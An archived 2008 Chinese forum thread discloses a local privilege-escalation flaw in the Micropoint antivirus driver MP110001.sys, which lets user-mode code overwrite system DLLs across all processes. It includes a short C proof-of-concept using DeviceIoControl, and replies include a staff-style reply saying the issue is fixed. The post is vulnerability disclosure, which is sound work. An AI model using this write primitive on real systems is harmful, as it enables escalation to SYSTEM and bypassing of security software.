Board logo

标题: 微点主动防御 [打印本页]

作者: wanghai2701     时间: 2008-10-31 20:59    标题: 微点主动防御

微点主动防御是一款号称使用行为分析技术实时保护的主动防御软件。

其核心驱动MP110001.SYS最新版本存在本地权限提升漏洞,可导致任何权限的用户在本地提升权限到SYSTEM权限,绕过UAC等保护。同时也可以利用此漏洞注入到任何受保护进程,从而穿透防火墙、主动防御软件。

出问题的组件:MP110001.sys,版本号:1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505

该驱动提供了一个接口,允许RING3程序将一块数据COPY到地址0-0x80000000的任意地址,在写入时会将寄存器CR0的第16位置0,此时CPU的页保护机制就会失效,WINDOWS NT 的CopyOnWrite机制也将失效,RING3程序可以将内存写入到系统模块,例如kernel32.dll, user32.dll的地址,改写它们的代码,此时对系统DLL代码的改写会在所有进程体内同时生效.

通过这一接口,任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用,从而进行权限提升,如果HOOK进主动防御、防火墙等的进程体内,则可绕过主动防御软件的保护。

测试代码:


HANDLE hdev = CreateFile("\\\\.\\MP110001" ,
   FILE_READ_ATTRIBUTES ,
   FILE_SHARE_READ |FILE_SHARE_WRITE ,
   0,
   OPEN_EXISTING ,
   0,
   0);

if (hdev == INVALID_HANDLE_VALUE)
{

   CHAR xx[100];
   sprintf(xx , "create err = %u\n" , GetLastError());
   MessageBox(xx, 0 , 0 );
   return ;
}

CHAR xx[] = "hello mp!";

HMODULE p = GetModuleHandle("ntdll.dll");

ULONG btr ;

BOOL bret = DeviceIoControl(hdev ,
   0x220007,
   (PVOID)((ULONG)p + 2 ),
   strlen(xx)+1 ,
   xx,
   0,
   &btr ,
   0
   );

CloseHandle(hdev);


测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp",此修改将在系统任何进程体内生效,可使用OD、WINDBG,WINHEX等工具查看
作者: Legend     时间: 2008-10-31 22:43
谢谢楼主的反馈。此问题微点已经解决,请等待微点更新即可。
作者: yurong7777777     时间: 2008-10-31 23:48
要多反映类似的情况
作者: gudan     时间: 2008-11-1 01:49
貌似发过了吧,好像是的
作者: snhao     时间: 2008-11-1 09:19
发过的:http://bbs.micropoint.com.cn/sho ... ;highlight=%2Bmj%2B




欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn